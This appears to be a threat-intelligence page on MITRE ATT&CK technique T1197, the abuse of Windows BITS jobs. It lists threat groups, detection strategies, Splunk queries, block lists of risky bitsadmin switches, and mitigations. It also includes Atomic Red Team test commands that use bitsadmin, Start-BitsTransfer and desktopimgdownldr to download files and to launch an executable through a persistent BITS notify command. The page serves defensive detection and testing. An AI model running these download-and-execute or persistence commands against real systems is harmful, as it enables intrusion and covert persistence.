tfMITRE ATT&CK technique

BITS Jobs T1197

Tactics: Execution, Persistence, Stealth
Platform: Windows
Version: 2.0
Created: 18 April 2018
Last modified: 12 May 2026
Contributors: Brent Murphy, Elastic; David French, Elastic; Red Canary; Ricardo Dias

Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).[1][2] BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups73rd pct

Threat groups73rd percentile · 73% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware72nd pct

Tools & malware72nd percentile · 72% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 13%

Detection rules87th percentile · 87% of ATT&CK techniques have this many detection rules written or fewer.

BITS Jobs MITRE reference T1197

73rd pctamong all ATT&CK techniques for number of groups

5 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Wizard SpiderG0102 ↗

Has used batch scripts that utilizes WMIC to execute a BITSAdmin transfer of a ransomware payload to each compromised machine.1

created 2020-05-121 referenceaka UNC1878

APT41G0096 ↗

Used BITSAdmin to download and install payloads.1 2

created 2019-09-232 referencesaka Wicked Panda

APT39G0087 ↗

Has used the BITS protocol to exfiltrate stolen data from a compromised host.1

created 2019-02-191 referenceaka ITG07

LeviathanG0065 ↗

Has used BITSAdmin to download additional tools.1

created 2018-04-181 referenceaka MUDCARP

PatchworkG0040 ↗

Has used BITS jobs to download malicious payloads.1

created 2017-05-311 referenceaka Hangover Group

All 5 groups for this technique

Offense vs defense T1197

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 16Splunk ESCU (cumulative) · 5

first rule: 2017 Q1

BITS Jobs detection strategy DET0098

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect abuse of Windows BITS Jobs for download, execution and persistence

Enterprise

1 platform

AN0274 · Windows

Behavioral chain: (1) An actor creates or modifies a BITS job via bitsadmin.exe, PowerShell BITS cmdlets, or COM; (2) the job performs HTTP(S)/SMB network transfers while the owning user is logged on; (3) upon job completion/error, BITS launches a notify command (SetNotifyCmdLine) from svchost.exe -k netsvcs -s BITS, often establishing persistence by keeping long-lived jobs. The strategy correlates process creation, command/script telemetry, BITS-Client operational events, and network connections initiated by BITS.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Security	EventCode=4688
Service CreationDC0060	WinEventLog:System	EventCode=7036
Command ExecutionDC0064	WinEventLog:PowerShell	EventCode=4103, 4104, 4105, 4106
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Correlation window linking job creation, transfer, and notify execution (e.g., 30m–24h depending on environment and BITS retry behavior).
ExpectedUpdateHosts	Allow-list of corporate update/CDN endpoints that legitimately use BITS (WSUS, MEMCM, vendor updaters).
SuspiciousCliSwitches	BITSAdmin flags of interest (/transfer, /addfile, /SetNotifyCmdLine, /resume, /setcustomheaders, /setminretrydelay).
NotifyCmdBlockList	Known risky binaries or folders (e.g., %TEMP%\*.exe, powershell.exe, cmd.exe) used as BITS notify commands.
UserContext	Scope by interactive users, service accounts, or high-value targets (admins/servers) to reduce benign noise.
ExternalNetCIDRs	Definition of external/non-corp destinations for network correlation.
JobLifetimeThreshold	Maximum age or retry count for benign jobs before flagging persistence (e.g., >3 days or retry>20).

2 analytics

The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe scheduling a BITS job to persist on an endpoint. The query identifies the parameters used to create, resume or add a file to a BITS job. Typically seen combined in a oneliner or ran in sequence. If identified, review the BITS job created and capture any files written to disk. It is possible for BITS to be used to upload files and this may require further network data analysis to identify. You can use bitsadmin /list /verbose to list out the jobs during investigation.

TypeTTPCoverageModerateSubmitted2021

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Pseudocode implementation of the splunk search below

processes = search Process:Create
bitsadmin_commands = filter processes where (
  exe ="C:\Windows\System32\bitsadmin.exe" AND command_line includes one of [*create*, *addfile*, *setnotifyflags*, *setnotifycmdline*, *setminretrydelay*, *setcustomheaders*,*resume*])
output bitsadmin_commands

To successfully implement this search you need to be ingesting information on process that include the name of the process responsible for the changes from your endpoints into the Endpoint datamodel in the Processes node.

| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=bitsadmin.exe Processes.process IN (*create*, *addfile*, *setnotifyflags*, *setnotifycmdline*, *setminretrydelay*, *setcustomheaders*, *resume* ) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id

Unit tests

CAR’s own validation procedures for this analytic.

Replay the detection [dataset](https://media.githubusercontent.com/media/splunk/attack_data/master/datasets/attack_techniques/T1197/atomic_red_team/windows-sysmon.log) using the Splunk attack range with the commands below

["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]

execute the atomic test [T1197](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1197) against a Windows target.

["Invoke-AtomicTest T1197"]

The following query identifies Microsoft Background Intelligent Transfer Service utility bitsadmin.exe using the transfer parameter to download a remote object. In addition, look for download or upload on the command-line, the switches are not required to perform a transfer. Capture any files downloaded. Review the reputation of the IP or domain used. Typically once executed, a follow on command will be used to execute the dropped file. Note that the network connection or file modification events related will not spawn or create from bitsadmin.exe, but the artifacts will appear in a parallel process of svchost.exe with a command-line similar to svchost.exe -k netsvcs -s BITS. It's important to review all parallel and child processes to capture any behaviors and artifacts. In some suspicious and malicious instances, BITS jobs will be created. You can use bitsadmin /list /verbose to list out the jobs during investigation.

TypeTTPCoverageModerateSubmitted2021

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-PSA	Process Spawn Analysis

Data model references

The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.

Object	Action	Field
process	create	exe
process	create	command_line

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

Pseudocode implementation of the Splunk search below

processes = search Process:Create
bitsadmin_commands = filter processes where (
  exe ="C:\Windows\System32\bitsadmin.exe" AND command_line = *transfer*)
output bitsadmin_commands

| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=bitsadmin.exe Processes.process=*transfer* by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id

Unit tests

CAR’s own validation procedures for this analytic.

["python attack_range.py replay -dn data_dump [--dump NAME_OF_DUMP]"]

execute the atomic test [T1197](https://github.com/redcanaryco/atomic-red-team/tree/master/atomics/T1197) against a Windows target.

["Invoke-AtomicTest T1197"]

Filter Network TrafficM1037

Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.

Operating System ConfigurationM1028

Consider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS.

User Account ManagementM1018

Consider limiting access to the BITS interface to specific users or groups.

Tests4Executorscmd 3 · PowerShell 1Need elevation0 of 4Have prerequisites0Have cleanup4Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Bitsadmin Download (cmd)

windows

cmd

—

Yes

This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload

Input arguments

Name	Type	Default	Description
local_file	path	%temp%\bitsadmin1_flag.ps1	Local file path to save downloaded file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md	Remote file to download

Attack command

bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}

Cleanup command

del #{local_file} >nul 2>&1

GUID82dbb39c-a55a-4f4a-bac5-989f1f79a56c

Bitsadmin Download (PowerShell)

windows

PowerShell

—

Yes

This test simulates an adversary leveraging bitsadmin.exe to download and execute a payload leveraging PowerShell Upon execution you will find a github markdown file downloaded to the Temp directory

Input arguments

Name	Type	Default	Description
local_file	path	$env:TEMP\bitsadmin2_flag.ps1	Local file path to save downloaded file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md	Remote file to download

Attack command

Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}

Cleanup command

Remove-Item #{local_file} -ErrorAction Ignore

GUID86f8f0c1-de15-4735-8164-85b3f4df02af

Persist, Download, & Execute

windows

cmd

—

Yes

This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps. Note that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable. This has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of "svchost.exe" and an Initiating Process Command Line of "svchost.exe -k netsvcs -p -s BITS" This job will remain in the BITS queue until complete or for up to 90 days by default if not removed.

Input arguments

Name	Type	Default	Description
local_file	path	%temp%\bitsadmin3_flag.ps1	Local file path to save downloaded file
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md	Remote file to download
command_path	path	C:\Windows\system32\notepad.exe	Path of command to execute
bits_job_name	string	AtomicBITS	Name of BITS job

Attack command

bitsadmin.exe /create #{bits_job_name}
bitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}
bitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL
bitsadmin.exe /resume #{bits_job_name}
ping -n 5 127.0.0.1 >nul 2>&1
bitsadmin.exe /complete #{bits_job_name}

Cleanup command

del #{local_file} >nul 2>&1

GUID9b8885bc-264d-4d7c-bae5-1bf3bbd50ba2

Bits download using desktopimgdownldr.exe (cmd)

windows

cmd

—

Yes

This test simulates using desktopimgdownldr.exe to download a malicious file instead of a desktop or lockscreen background img. The process that actually makes the TCP connection and creates the file on the disk is a svchost process (“-k netsvc -p -s BITS”) and not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/

Input arguments

Name	Type	Default	Description
remote_file	url	https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md	Remote file to download
cleanup_file	string	*.md	file to remove as part of cleanup_command
cleanup_path	path	C:\Windows\Temp\Personalization\LockScreenImage	path to delete file as part of cleanup_command
download_path	path	SYSTEMROOT=C:\Windows\Temp	Local file path to save downloaded file

Attack command

set "#{download_path}" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr

Cleanup command

del #{cleanup_path}\#{cleanup_file} >nul 2>&1

GUID457a7c0f-ec8b-4294-8444-9f50b1e46b7e

Tests from Atomic Red Team (MIT licence) · technique definition

BITS Jobs detections T1197

21 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 13%of all ATT&CK techniques for number of rules

Product

(none) 2

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs